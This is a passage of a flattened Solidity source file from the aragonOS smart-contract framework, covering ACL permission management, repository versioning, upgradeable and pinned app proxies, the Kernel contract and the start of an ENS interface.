/**
* @dev Grants a permission with parameters if allowed. This requires `msg.sender` to be the permission manager
* @notice Grant `_entity` the ability to perform actions requiring `_role` on `_app`
* @param _entity Address of the whitelisted entity that will be able to perform the role
* @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL)
* @param _role Identifier for the group of actions in app given access to perform
* @param _params Permission parameters
*/
function grantPermissionP(address _entity, address _app, bytes32 _role, uint256[] _params)
public
onlyPermissionManager(_app, _role)
{
bytes32 paramsHash = _params.length > 0 ? _saveParams(_params) : EMPTY_PARAM_HASH;
_setPermission(_entity, _app, _role, paramsHash);
}
/**
* @dev Revokes permission if allowed. This requires `msg.sender` to be the the permission manager
* @notice Revoke from `_entity` the ability to perform actions requiring `_role` on `_app`
* @param _entity Address of the whitelisted entity to revoke access from
* @param _app Address of the app in which the role will be revoked
* @param _role Identifier for the group of actions in app being revoked
*/
function revokePermission(address _entity, address _app, bytes32 _role)
external
onlyPermissionManager(_app, _role)
{
_setPermission(_entity, _app, _role, NO_PERMISSION);
}
/**
* @notice Set `_newManager` as the manager of `_role` in `_app`
* @param _newManager Address for the new manager
* @param _app Address of the app in which the permission management is being transferred
* @param _role Identifier for the group of actions being transferred
*/
function setPermissionManager(address _newManager, address _app, bytes32 _role)
external
onlyPermissionManager(_app, _role)
{
_setPermissionManager(_newManager, _app, _role);
}
/**
* @notice Remove the manager of `_role` in `_app`
* @param _app Address of the app in which the permission is being unmanaged
* @param _role Identifier for the group of actions being unmanaged
*/
function removePermissionManager(address _app, bytes32 _role)
external
onlyPermissionManager(_app, _role)
{
_setPermissionManager(address(0), _app, _role);
}
/**
* @notice Burn non-existent `_role` in `_app`, so no modification can be made to it (grant, revoke, permission manager)
* @param _app Address of the app in which the permission is being burned
* @param _role Identifier for the group of actions being burned
*/
function createBurnedPermission(address _app, bytes32 _role)
external
auth(CREATE_PERMISSIONS_ROLE)
noPermissionManager(_app, _role)
{
_setPermissionManager(BURN_ENTITY, _app, _role);
}
/**
* @notice Burn `_role` in `_app`, so no modification can be made to it (grant, revoke, permission manager)
* @param _app Address of the app in which the permission is being burned
* @param _role Identifier for the group of actions being burned
*/
function burnPermissionManager(address _app, bytes32 _role)
external
onlyPermissionManager(_app, _role)
{
_setPermissionManager(BURN_ENTITY, _app, _role);
}
/**
* @notice Get parameters for permission array length
* @param _entity Address of the whitelisted entity that will be able to perform the role
* @param _app Address of the app
* @param _role Identifier for a group of actions in app
* @return Length of the array
*/
function getPermissionParamsLength(address _entity, address _app, bytes32 _role) external view returns (uint) {
return permissionParams[permissions[permissionHash(_entity, _app, _role)]].length;
}
/**
* @notice Get parameter for permission
* @param _entity Address of the whitelisted entity that will be able to perform the role
* @param _app Address of the app
* @param _role Identifier for a group of actions in app
* @param _index Index of parameter in the array
* @return Parameter (id, op, value)
*/
function getPermissionParam(address _entity, address _app, bytes32 _role, uint _index)
external
view
returns (uint8, uint8, uint240)
{
Param storage param = permissionParams[permissions[permissionHash(_entity, _app, _role)]][_index];
return (param.id, param.op, param.value);
}
/**
* @dev Get manager for permission
* @param _app Address of the app
* @param _role Identifier for a group of actions in app
* @return address of the manager for the permission
*/
function getPermissionManager(address _app, bytes32 _role) public view returns (address) {
return permissionManager[roleHash(_app, _role)];
}
/**
* @dev Function called by apps to check ACL on kernel or to check permission statu
* @param _who Sender of the original call
* @param _where Address of the app
* @param _where Identifier for a group of actions in app
* @param _how Permission parameters
* @return boolean indicating whether the ACL allows the role or not
*/
function hasPermission(address _who, address _where, bytes32 _what, bytes memory _how) public view returns (bool) {
return hasPermission(_who, _where, _what, ConversionHelpers.dangerouslyCastBytesToUintArray(_how));
}
function hasPermission(address _who, address _where, bytes32 _what, uint256[] memory _how) public view returns (bool) {
bytes32 whoParams = permissions[permissionHash(_who, _where, _what)];
if (whoParams != NO_PERMISSION && evalParams(whoParams, _who, _where, _what, _how)) {
return true;
}
bytes32 anyParams = permissions[permissionHash(ANY_ENTITY, _where, _what)];
if (anyParams != NO_PERMISSION && evalParams(anyParams, ANY_ENTITY, _where, _what, _how)) {
return true;
}
return false;
}
function hasPermission(address _who, address _where, bytes32 _what) public view returns (bool) {
uint256[] memory empty = new uint256[](0);
return hasPermission(_who, _where, _what, empty);
}
function evalParams(
bytes32 _paramsHash,
address _who,
address _where,
bytes32 _what,
uint256[] _how
) public view returns (bool)
{
if (_paramsHash == EMPTY_PARAM_HASH) {
return true;
}
return _evalParam(_paramsHash, 0, _who, _where, _what, _how);
}
/**
* @dev Internal createPermission for access inside the kernel (on instantiation)
*/
function _createPermission(address _entity, address _app, bytes32 _role, address _manager) internal {
_setPermission(_entity, _app, _role, EMPTY_PARAM_HASH);
_setPermissionManager(_manager, _app, _role);
}
/**
* @dev Internal function called to actually save the permission
*/
function _setPermission(address _entity, address _app, bytes32 _role, bytes32 _paramsHash) internal {
permissions[permissionHash(_entity, _app, _role)] = _paramsHash;
bool entityHasPermission = _paramsHash != NO_PERMISSION;
bool permissionHasParams = entityHasPermission && _paramsHash != EMPTY_PARAM_HASH;
emit SetPermission(_entity, _app, _role, entityHasPermission);
if (permissionHasParams) {
emit SetPermissionParams(_entity, _app, _role, _paramsHash);
}
}
function _saveParams(uint256[] _encodedParams) internal returns (bytes32) {
bytes32 paramHash = keccak256(abi.encodePacked(_encodedParams));
Param[] storage params = permissionParams[paramHash];
if (params.length == 0) { // params not saved before
for (uint256 i = 0; i < _encodedParams.length; i++) {
uint256 encodedParam = _encodedParams[i];
Param memory param = Param(decodeParamId(encodedParam), decodeParamOp(encodedParam), uint240(encodedParam));
params.push(param);
}
}
return paramHash;
}
function _evalParam(
bytes32 _paramsHash,
uint32 _paramId,
address _who,
address _where,
bytes32 _what,
uint256[] _how
) internal view returns (bool)
{
if (_paramId >= permissionParams[_paramsHash].length) {
return false; // out of bounds
}
Param memory param = permissionParams[_paramsHash][_paramId];
if (param.id == LOGIC_OP_PARAM_ID) {
return _evalLogic(param, _paramsHash, _who, _where, _what, _how);
}
uint256 value;
uint256 comparedTo = uint256(param.value);
// get value
if (param.id == ORACLE_PARAM_ID) {
value = checkOracle(IACLOracle(param.value), _who, _where, _what, _how) ? 1 : 0;
comparedTo = 1;
} else if (param.id == BLOCK_NUMBER_PARAM_ID) {
value = getBlockNumber();
} else if (param.id == TIMESTAMP_PARAM_ID) {
value = getTimestamp();
} else if (param.id == PARAM_VALUE_PARAM_ID) {
value = uint256(param.value);
} else {
if (param.id >= _how.length) {
return false;
}
value = uint256(uint240(_how[param.id])); // force lost precision
}
if (Op(param.op) == Op.RET) {
return uint256(value) > 0;
}
return compare(value, Op(param.op), comparedTo);
}
function _evalLogic(Param _param, bytes32 _paramsHash, address _who, address _where, bytes32 _what, uint256[] _how)
internal
view
returns (bool)
{
if (Op(_param.op) == Op.IF_ELSE) {
uint32 conditionParam;
uint32 successParam;
uint32 failureParam;
(conditionParam, successParam, failureParam) = decodeParamsList(uint256(_param.value));
bool result = _evalParam(_paramsHash, conditionParam, _who, _where, _what, _how);
return _evalParam(_paramsHash, result ? successParam : failureParam, _who, _where, _what, _how);
}
uint32 param1;
uint32 param2;
(param1, param2,) = decodeParamsList(uint256(_param.value));
bool r1 = _evalParam(_paramsHash, param1, _who, _where, _what, _how);
if (Op(_param.op) == Op.NOT) {
return !r1;
}
if (r1 && Op(_param.op) == Op.OR) {
return true;
}
if (!r1 && Op(_param.op) == Op.AND) {
return false;
}
bool r2 = _evalParam(_paramsHash, param2, _who, _where, _what, _how);
if (Op(_param.op) == Op.XOR) {
return r1 != r2;
}
return r2; // both or and and depend on result of r2 after checks
}
function compare(uint256 _a, Op _op, uint256 _b) internal pure returns (bool) {
if (_op == Op.EQ) return _a == _b; // solium-disable-line lbrace
if (_op == Op.NEQ) return _a != _b; // solium-disable-line lbrace
if (_op == Op.GT) return _a > _b; // solium-disable-line lbrace
if (_op == Op.LT) return _a < _b; // solium-disable-line lbrace
if (_op == Op.GTE) return _a >= _b; // solium-disable-line lbrace
if (_op == Op.LTE) return _a <= _b; // solium-disable-line lbrace
return false;
}
function checkOracle(IACLOracle _oracleAddr, address _who, address _where, bytes32 _what, uint256[] _how) internal view returns (bool) {
bytes4 sig = _oracleAddr.canPerform.selector;
// a raw call is required so we can return false if the call reverts, rather than reverting
bytes memory checkCalldata = abi.encodeWithSelector(sig, _who, _where, _what, _how);
uint256 oracleCheckGas = ORACLE_CHECK_GAS;
bool ok;
assembly {
ok := staticcall(oracleCheckGas, _oracleAddr, add(checkCalldata, 0x20), mload(checkCalldata), 0, 0)
}
if (!ok) {
return false;
}
uint256 size;
assembly { size := returndatasize }
if (size != 32) {
return false;
}
bool result;
assembly {
let ptr := mload(0x40) // get next free memory ptr
returndatacopy(ptr, 0, size) // copy return from above `staticcall`
result := mload(ptr) // read data at ptr and set it to result
mstore(ptr, 0) // set pointer memory to 0 so it still is the next free ptr
}
return result;
}
/**
* @dev Internal function that sets management
*/
function _setPermissionManager(address _newManager, address _app, bytes32 _role) internal {
permissionManager[roleHash(_app, _role)] = _newManager;
emit ChangePermissionManager(_app, _role, _newManager);
}
function roleHash(address _where, bytes32 _what) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("ROLE", _where, _what));
}
function permissionHash(address _who, address _where, bytes32 _what) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("PERMISSION", _who, _where, _what));
}
}
// File: @aragon/os/contracts/apm/Repo.sol
pragma solidity 0.4.24;
/* solium-disable function-order */
// Allow public initialize() to be first
contract Repo is AragonApp {
/* Hardcoded constants to save gas
bytes32 public constant CREATE_VERSION_ROLE = keccak256("CREATE_VERSION_ROLE");
*/
bytes32 public constant CREATE_VERSION_ROLE = 0x1f56cfecd3595a2e6cc1a7e6cb0b20df84cdbd92eff2fee554e70e4e45a9a7d8;
string private constant ERROR_INVALID_BUMP = "REPO_INVALID_BUMP";
string private constant ERROR_INVALID_VERSION = "REPO_INVALID_VERSION";
string private constant ERROR_INEXISTENT_VERSION = "REPO_INEXISTENT_VERSION";
struct Version {
uint16[3] semanticVersion;
address contractAddress;
bytes contentURI;
}
uint256 internal versionsNextIndex;
mapping (uint256 => Version) internal versions;
mapping (bytes32 => uint256) internal versionIdForSemantic;
mapping (address => uint256) internal latestVersionIdForContract;
event NewVersion(uint256 versionId, uint16[3] semanticVersion);
/**
* @dev Initialize can only be called once. It saves the block number in which it was initialized.
* @notice Initialize this Repo
*/
function initialize() public onlyInit {
initialized();
versionsNextIndex = 1;
}
/**
* @notice Create new version with contract `_contractAddress` and content `@fromHex(_contentURI)`
* @param _newSemanticVersion Semantic version for new repo version
* @param _contractAddress address for smart contract logic for version (if set to 0, it uses last versions' contractAddress)
* @param _contentURI External URI for fetching new version's content
*/
function newVersion(
uint16[3] _newSemanticVersion,
address _contractAddress,
bytes _contentURI
) public auth(CREATE_VERSION_ROLE)
{
address contractAddress = _contractAddress;
uint256 lastVersionIndex = versionsNextIndex - 1;
uint16[3] memory lastSematicVersion;
if (lastVersionIndex > 0) {
Version storage lastVersion = versions[lastVersionIndex];
lastSematicVersion = lastVersion.semanticVersion;
if (contractAddress == address(0)) {
contractAddress = lastVersion.contractAddress;
}
// Only allows smart contract change on major version bumps
require(
lastVersion.contractAddress == contractAddress || _newSemanticVersion[0] > lastVersion.semanticVersion[0],
ERROR_INVALID_VERSION
);
}
require(isValidBump(lastSematicVersion, _newSemanticVersion), ERROR_INVALID_BUMP);
uint256 versionId = versionsNextIndex++;
versions[versionId] = Version(_newSemanticVersion, contractAddress, _contentURI);
versionIdForSemantic[semanticVersionHash(_newSemanticVersion)] = versionId;
latestVersionIdForContract[contractAddress] = versionId;
emit NewVersion(versionId, _newSemanticVersion);
}
function getLatest() public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) {
return getByVersionId(versionsNextIndex - 1);
}
function getLatestForContractAddress(address _contractAddress)
public
view
returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI)
{
return getByVersionId(latestVersionIdForContract[_contractAddress]);
}
function getBySemanticVersion(uint16[3] _semanticVersion)
public
view
returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI)
{
return getByVersionId(versionIdForSemantic[semanticVersionHash(_semanticVersion)]);
}
function getByVersionId(uint _versionId) public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) {
require(_versionId > 0 && _versionId < versionsNextIndex, ERROR_INEXISTENT_VERSION);
Version storage version = versions[_versionId];
return (version.semanticVersion, version.contractAddress, version.contentURI);
}
function getVersionsCount() public view returns (uint256) {
return versionsNextIndex - 1;
}
function isValidBump(uint16[3] _oldVersion, uint16[3] _newVersion) public pure returns (bool) {
bool hasBumped;
uint i = 0;
while (i < 3) {
if (hasBumped) {
if (_newVersion[i] != 0) {
return false;
}
} else if (_newVersion[i] != _oldVersion[i]) {
if (_oldVersion[i] > _newVersion[i] || _newVersion[i] - _oldVersion[i] != 1) {
return false;
}
hasBumped = true;
}
i++;
}
return hasBumped;
}
function semanticVersionHash(uint16[3] version) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(version[0], version[1], version[2]));
}
}
// File: @aragon/os/contracts/apm/APMNamehash.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract APMNamehash {
/* Hardcoded constants to save gas
bytes32 internal constant APM_NODE = keccak256(abi.encodePacked(ETH_TLD_NODE, keccak256(abi.encodePacked("aragonpm"))));
*/
bytes32 internal constant APM_NODE = 0x9065c3e7f7b7ef1ef4e53d2d0b8e0cef02874ab020c1ece79d5f0d3d0111c0ba;
function apmNamehash(string name) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(APM_NODE, keccak256(bytes(name))));
}
}
// File: @aragon/os/contracts/kernel/KernelStorage.sol
pragma solidity 0.4.24;
contract KernelStorage {
// namespace => app id => address
mapping (bytes32 => mapping (bytes32 => address)) public apps;
bytes32 public recoveryVaultAppId;
}
// File: @aragon/os/contracts/lib/misc/ERCProxy.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract ERCProxy {
uint256 internal constant FORWARDING = 1;
uint256 internal constant UPGRADEABLE = 2;
function proxyType() public pure returns (uint256 proxyTypeId);
function implementation() public view returns (address codeAddr);
}
// File: @aragon/os/contracts/common/DelegateProxy.sol
pragma solidity 0.4.24;
contract DelegateProxy is ERCProxy, IsContract {
uint256 internal constant FWD_GAS_LIMIT = 10000;
/**
* @dev Performs a delegatecall and returns whatever the delegatecall returned (entire context execution will return!)
* @param _dst Destination address to perform the delegatecall
* @param _calldata Calldata for the delegatecall
*/
function delegatedFwd(address _dst, bytes _calldata) internal {
require(isContract(_dst));
uint256 fwdGasLimit = FWD_GAS_LIMIT;
assembly {
let result := delegatecall(sub(gas, fwdGasLimit), _dst, add(_calldata, 0x20), mload(_calldata), 0, 0)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
// revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas.
// if the call returned error data, forward it
switch result case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
// File: @aragon/os/contracts/common/DepositableDelegateProxy.sol
pragma solidity 0.4.24;
contract DepositableDelegateProxy is DepositableStorage, DelegateProxy {
event ProxyDeposit(address sender, uint256 value);
function () external payable {
uint256 forwardGasThreshold = FWD_GAS_LIMIT;
bytes32 isDepositablePosition = DEPOSITABLE_POSITION;
// Optimized assembly implementation to prevent EIP-1884 from breaking deposits, reference code in Solidity:
// https://github.com/aragon/aragonOS/blob/v4.2.1/contracts/common/DepositableDelegateProxy.sol#L10-L20
assembly {
// Continue only if the gas left is lower than the threshold for forwarding to the implementation code,
// otherwise continue outside of the assembly block.
if lt(gas, forwardGasThreshold) {
// Only accept the deposit and emit an event if all of the following are true:
// the proxy accepts deposits (isDepositable), msg.data.length == 0, and msg.value > 0
if and(and(sload(isDepositablePosition), iszero(calldatasize)), gt(callvalue, 0)) {
// Equivalent Solidity code for emitting the event:
// emit ProxyDeposit(msg.sender, msg.value);
let logData := mload(0x40) // free memory pointer
mstore(logData, caller) // add 'msg.sender' to the log data (first event param)
mstore(add(logData, 0x20), callvalue) // add 'msg.value' to the log data (second event param)
// Emit an event with one topic to identify the event: keccak256('ProxyDeposit(address,uint256)') = 0x15ee...dee1
log1(logData, 0x40, 0x15eeaa57c7bd188c1388020bcadc2c436ec60d647d36ef5b9eb3c742217ddee1)
stop() // Stop. Exits execution context
}
// If any of above checks failed, revert the execution (if ETH was sent, it is returned to the sender)
revert(0, 0)
}
}
address target = implementation();
delegatedFwd(target, msg.data);
}
}
// File: @aragon/os/contracts/apps/AppProxyBase.sol
pragma solidity 0.4.24;
contract AppProxyBase is AppStorage, DepositableDelegateProxy, KernelNamespaceConstants {
/**
* @dev Initialize AppProxy
* @param _kernel Reference to organization kernel for the app
* @param _appId Identifier for app
* @param _initializePayload Payload for call to be made after setup to initialize
*/
constructor(IKernel _kernel, bytes32 _appId, bytes _initializePayload) public {
setKernel(_kernel);
setAppId(_appId);
// Implicit check that kernel is actually a Kernel
// The EVM doesn't actually provide a way for us to make sure, but we can force a revert to
// occur if the kernel is set to 0x0 or a non-code address when we try to call a method on
// it.
address appCode = getAppBase(_appId);
// If initialize payload is provided, it will be executed
if (_initializePayload.length > 0) {
require(isContract(appCode));
// Cannot make delegatecall as a delegateproxy.delegatedFwd as it
// returns ending execution context and halts contract deployment
require(appCode.delegatecall(_initializePayload));
}
}
function getAppBase(bytes32 _appId) internal view returns (address) {
return kernel().getApp(KERNEL_APP_BASES_NAMESPACE, _appId);
}
}
// File: @aragon/os/contracts/apps/AppProxyUpgradeable.sol
pragma solidity 0.4.24;
contract AppProxyUpgradeable is AppProxyBase {
/**
* @dev Initialize AppProxyUpgradeable (makes it an upgradeable Aragon app)
* @param _kernel Reference to organization kernel for the app
* @param _appId Identifier for app
* @param _initializePayload Payload for call to be made after setup to initialize
*/
constructor(IKernel _kernel, bytes32 _appId, bytes _initializePayload)
AppProxyBase(_kernel, _appId, _initializePayload)
public // solium-disable-line visibility-first
{
// solium-disable-previous-line no-empty-blocks
}
/**
* @dev ERC897, the address the proxy would delegate calls to
*/
function implementation() public view returns (address) {
return getAppBase(appId());
}
/**
* @dev ERC897, whether it is a forwarding (1) or an upgradeable (2) proxy
*/
function proxyType() public pure returns (uint256 proxyTypeId) {
return UPGRADEABLE;
}
}
// File: @aragon/os/contracts/apps/AppProxyPinned.sol
pragma solidity 0.4.24;
contract AppProxyPinned is IsContract, AppProxyBase {
using UnstructuredStorage for bytes32;
// keccak256("aragonOS.appStorage.pinnedCode")
bytes32 internal constant PINNED_CODE_POSITION = 0xdee64df20d65e53d7f51cb6ab6d921a0a6a638a91e942e1d8d02df28e31c038e;
/**
* @dev Initialize AppProxyPinned (makes it an un-upgradeable Aragon app)
* @param _kernel Reference to organization kernel for the app
* @param _appId Identifier for app
* @param _initializePayload Payload for call to be made after setup to initialize
*/
constructor(IKernel _kernel, bytes32 _appId, bytes _initializePayload)
AppProxyBase(_kernel, _appId, _initializePayload)
public // solium-disable-line visibility-first
{
setPinnedCode(getAppBase(_appId));
require(isContract(pinnedCode()));
}
/**
* @dev ERC897, the address the proxy would delegate calls to
*/
function implementation() public view returns (address) {
return pinnedCode();
}
/**
* @dev ERC897, whether it is a forwarding (1) or an upgradeable (2) proxy
*/
function proxyType() public pure returns (uint256 proxyTypeId) {
return FORWARDING;
}
function setPinnedCode(address _pinnedCode) internal {
PINNED_CODE_POSITION.setStorageAddress(_pinnedCode);
}
function pinnedCode() internal view returns (address) {
return PINNED_CODE_POSITION.getStorageAddress();
}
}
// File: @aragon/os/contracts/factory/AppProxyFactory.sol
pragma solidity 0.4.24;
contract AppProxyFactory {
event NewAppProxy(address proxy, bool isUpgradeable, bytes32 appId);
/**
* @notice Create a new upgradeable app instance on `_kernel` with identifier `_appId`
* @param _kernel App's Kernel reference
* @param _appId Identifier for app
* @return AppProxyUpgradeable
*/
function newAppProxy(IKernel _kernel, bytes32 _appId) public returns (AppProxyUpgradeable) {
return newAppProxy(_kernel, _appId, new bytes(0));
}
/**
* @notice Create a new upgradeable app instance on `_kernel` with identifier `_appId` and initialization payload `_initializePayload`
* @param _kernel App's Kernel reference
* @param _appId Identifier for app
* @return AppProxyUpgradeable
*/
function newAppProxy(IKernel _kernel, bytes32 _appId, bytes _initializePayload) public returns (AppProxyUpgradeable) {
AppProxyUpgradeable proxy = new AppProxyUpgradeable(_kernel, _appId, _initializePayload);
emit NewAppProxy(address(proxy), true, _appId);
return proxy;
}
/**
* @notice Create a new pinned app instance on `_kernel` with identifier `_appId`
* @param _kernel App's Kernel reference
* @param _appId Identifier for app
* @return AppProxyPinned
*/
function newAppProxyPinned(IKernel _kernel, bytes32 _appId) public returns (AppProxyPinned) {
return newAppProxyPinned(_kernel, _appId, new bytes(0));
}
/**
* @notice Create a new pinned app instance on `_kernel` with identifier `_appId` and initialization payload `_initializePayload`
* @param _kernel App's Kernel reference
* @param _appId Identifier for app
* @param _initializePayload Proxy initialization payload
* @return AppProxyPinned
*/
function newAppProxyPinned(IKernel _kernel, bytes32 _appId, bytes _initializePayload) public returns (AppProxyPinned) {
AppProxyPinned proxy = new AppProxyPinned(_kernel, _appId, _initializePayload);
emit NewAppProxy(address(proxy), false, _appId);
return proxy;
}
}
// File: @aragon/os/contracts/kernel/Kernel.sol
pragma solidity 0.4.24;
// solium-disable-next-line max-len
contract Kernel is IKernel, KernelStorage, KernelAppIds, KernelNamespaceConstants, Petrifiable, IsContract, VaultRecoverable, AppProxyFactory, ACLSyntaxSugar {
/* Hardcoded constants to save gas
bytes32 public constant APP_MANAGER_ROLE = keccak256("APP_MANAGER_ROLE");
*/
bytes32 public constant APP_MANAGER_ROLE = 0xb6d92708f3d4817afc106147d969e229ced5c46e65e0a5002a0d391287762bd0;
string private constant ERROR_APP_NOT_CONTRACT = "KERNEL_APP_NOT_CONTRACT";
string private constant ERROR_INVALID_APP_CHANGE = "KERNEL_INVALID_APP_CHANGE";
string private constant ERROR_AUTH_FAILED = "KERNEL_AUTH_FAILED";
/**
* @dev Constructor that allows the deployer to choose if the base instance should be petrified immediately.
* @param _shouldPetrify Immediately petrify this instance so that it can never be initialized
*/
constructor(bool _shouldPetrify) public {
if (_shouldPetrify) {
petrify();
}
}
/**
* @dev Initialize can only be called once. It saves the block number in which it was initialized.
* @notice Initialize this kernel instance along with its ACL and set `_permissionsCreator` as the entity that can create other permissions
* @param _baseAcl Address of base ACL app
* @param _permissionsCreator Entity that will be given permission over createPermission
*/
function initialize(IACL _baseAcl, address _permissionsCreator) public onlyInit {
initialized();
// Set ACL base
_setApp(KERNEL_APP_BASES_NAMESPACE, KERNEL_DEFAULT_ACL_APP_ID, _baseAcl);
// Create ACL instance and attach it as the default ACL app
IACL acl = IACL(newAppProxy(this, KERNEL_DEFAULT_ACL_APP_ID));
acl.initialize(_permissionsCreator);
_setApp(KERNEL_APP_ADDR_NAMESPACE, KERNEL_DEFAULT_ACL_APP_ID, acl);
recoveryVaultAppId = KERNEL_DEFAULT_VAULT_APP_ID;
}
/**
* @dev Create a new instance of an app linked to this kernel
* @notice Create a new upgradeable instance of `_appId` app linked to the Kernel, setting its code to `_appBase`
* @param _appId Identifier for app
* @param _appBase Address of the app's base implementation
* @return AppProxy instance
*/
function newAppInstance(bytes32 _appId, address _appBase)
public
auth(APP_MANAGER_ROLE, arr(KERNEL_APP_BASES_NAMESPACE, _appId))
returns (ERCProxy appProxy)
{
return newAppInstance(_appId, _appBase, new bytes(0), false);
}
/**
* @dev Create a new instance of an app linked to this kernel and set its base
* implementation if it was not already set
* @notice Create a new upgradeable instance of `_appId` app linked to the Kernel, setting its code to `_appBase`. `_setDefault ? 'Also sets it as the default app instance.':''`
* @param _appId Identifier for app
* @param _appBase Address of the app's base implementation
* @param _initializePayload Payload for call made by the proxy during its construction to initialize
* @param _setDefault Whether the app proxy app is the default one.
* Useful when the Kernel needs to know of an instance of a particular app,
* like Vault for escape hatch mechanism.
* @return AppProxy instance
*/
function newAppInstance(bytes32 _appId, address _appBase, bytes _initializePayload, bool _setDefault)
public
auth(APP_MANAGER_ROLE, arr(KERNEL_APP_BASES_NAMESPACE, _appId))
returns (ERCProxy appProxy)
{
_setAppIfNew(KERNEL_APP_BASES_NAMESPACE, _appId, _appBase);
appProxy = newAppProxy(this, _appId, _initializePayload);
// By calling setApp directly and not the internal functions, we make sure the params are checked
// and it will only succeed if sender has permissions to set something to the namespace.
if (_setDefault) {
setApp(KERNEL_APP_ADDR_NAMESPACE, _appId, appProxy);
}
}
/**
* @dev Create a new pinned instance of an app linked to this kernel
* @notice Create a new non-upgradeable instance of `_appId` app linked to the Kernel, setting its code to `_appBase`.
* @param _appId Identifier for app
* @param _appBase Address of the app's base implementation
* @return AppProxy instance
*/
function newPinnedAppInstance(bytes32 _appId, address _appBase)
public
auth(APP_MANAGER_ROLE, arr(KERNEL_APP_BASES_NAMESPACE, _appId))
returns (ERCProxy appProxy)
{
return newPinnedAppInstance(_appId, _appBase, new bytes(0), false);
}
/**
* @dev Create a new pinned instance of an app linked to this kernel and set
* its base implementation if it was not already set
* @notice Create a new non-upgradeable instance of `_appId` app linked to the Kernel, setting its code to `_appBase`. `_setDefault ? 'Also sets it as the default app instance.':''`
* @param _appId Identifier for app
* @param _appBase Address of the app's base implementation
* @param _initializePayload Payload for call made by the proxy during its construction to initialize
* @param _setDefault Whether the app proxy app is the default one.
* Useful when the Kernel needs to know of an instance of a particular app,
* like Vault for escape hatch mechanism.
* @return AppProxy instance
*/
function newPinnedAppInstance(bytes32 _appId, address _appBase, bytes _initializePayload, bool _setDefault)
public
auth(APP_MANAGER_ROLE, arr(KERNEL_APP_BASES_NAMESPACE, _appId))
returns (ERCProxy appProxy)
{
_setAppIfNew(KERNEL_APP_BASES_NAMESPACE, _appId, _appBase);
appProxy = newAppProxyPinned(this, _appId, _initializePayload);
// By calling setApp directly and not the internal functions, we make sure the params are checked
// and it will only succeed if sender has permissions to set something to the namespace.
if (_setDefault) {
setApp(KERNEL_APP_ADDR_NAMESPACE, _appId, appProxy);
}
}
/**
* @dev Set the resolving address of an app instance or base implementation
* @notice Set the resolving address of `_appId` in namespace `_namespace` to `_app`
* @param _namespace App namespace to use
* @param _appId Identifier for app
* @param _app Address of the app instance or base implementation
* @return ID of app
*/
function setApp(bytes32 _namespace, bytes32 _appId, address _app)
public
auth(APP_MANAGER_ROLE, arr(_namespace, _appId))
{
_setApp(_namespace, _appId, _app);
}
/**
* @dev Set the default vault id for the escape hatch mechanism
* @param _recoveryVaultAppId Identifier of the recovery vault app
*/
function setRecoveryVaultAppId(bytes32 _recoveryVaultAppId)
public
auth(APP_MANAGER_ROLE, arr(KERNEL_APP_ADDR_NAMESPACE, _recoveryVaultAppId))
{
recoveryVaultAppId = _recoveryVaultAppId;
}
// External access to default app id and namespace constants to mimic default getters for constants
/* solium-disable function-order, mixedcase */
function CORE_NAMESPACE() external pure returns (bytes32) { return KERNEL_CORE_NAMESPACE; }
function APP_BASES_NAMESPACE() external pure returns (bytes32) { return KERNEL_APP_BASES_NAMESPACE; }
function APP_ADDR_NAMESPACE() external pure returns (bytes32) { return KERNEL_APP_ADDR_NAMESPACE; }
function KERNEL_APP_ID() external pure returns (bytes32) { return KERNEL_CORE_APP_ID; }
function DEFAULT_ACL_APP_ID() external pure returns (bytes32) { return KERNEL_DEFAULT_ACL_APP_ID; }
/* solium-enable function-order, mixedcase */
/**
* @dev Get the address of an app instance or base implementation
* @param _namespace App namespace to use
* @param _appId Identifier for app
* @return Address of the app
*/
function getApp(bytes32 _namespace, bytes32 _appId) public view returns (address) {
return apps[_namespace][_appId];
}
/**
* @dev Get the address of the recovery Vault instance (to recover funds)
* @return Address of the Vault
*/
function getRecoveryVault() public view returns (address) {
return apps[KERNEL_APP_ADDR_NAMESPACE][recoveryVaultAppId];
}
/**
* @dev Get the installed ACL app
* @return ACL app
*/
function acl() public view returns (IACL) {
return IACL(getApp(KERNEL_APP_ADDR_NAMESPACE, KERNEL_DEFAULT_ACL_APP_ID));
}
/**
* @dev Function called by apps to check ACL on kernel or to check permission status
* @param _who Sender of the original call
* @param _where Address of the app
* @param _what Identifier for a group of actions in app
* @param _how Extra data for ACL auth
* @return Boolean indicating whether the ACL allows the role or not.
* Always returns false if the kernel hasn't been initialized yet.
*/
function hasPermission(address _who, address _where, bytes32 _what, bytes _how) public view returns (bool) {
IACL defaultAcl = acl();
return address(defaultAcl) != address(0) && // Poor man's initialization check (saves gas)
defaultAcl.hasPermission(_who, _where, _what, _how);
}
function _setApp(bytes32 _namespace, bytes32 _appId, address _app) internal {
require(isContract(_app), ERROR_APP_NOT_CONTRACT);
apps[_namespace][_appId] = _app;
emit SetApp(_namespace, _appId, _app);
}
function _setAppIfNew(bytes32 _namespace, bytes32 _appId, address _app) internal {
address app = getApp(_namespace, _appId);
if (app != address(0)) {
// The only way to set an app is if it passes the isContract check, so no need to check it again
require(app == _app, ERROR_INVALID_APP_CHANGE);
} else {
_setApp(_namespace, _appId, _app);
}
}
modifier auth(bytes32 _role, uint256[] memory _params) {
require(
hasPermission(msg.sender, address(this), _role, ConversionHelpers.dangerouslyCastUintArrayToBytes(_params)),
ERROR_AUTH_FAILED
);
_;
}
}
// File: @aragon/os/contracts/lib/ens/AbstractENS.sol
// See https://github.com/ensdomains/ens/blob/7e377df83f/contracts/AbstractENS.sol
pragma solidity ^0.4.15;
interface AbstractENS {
function owner(bytes32 _node) public constant returns (address);
function resolver(bytes32 _node) public constant returns (address);
function ttl(bytes32 _node) public constant returns (uint64);
function setOwner(bytes32 _node, address _owner) public;
function setSubnodeOwner(bytes32 _node, bytes32 label, address _owner) public;
function setResolver(bytes32 _node, address _resolver) public;
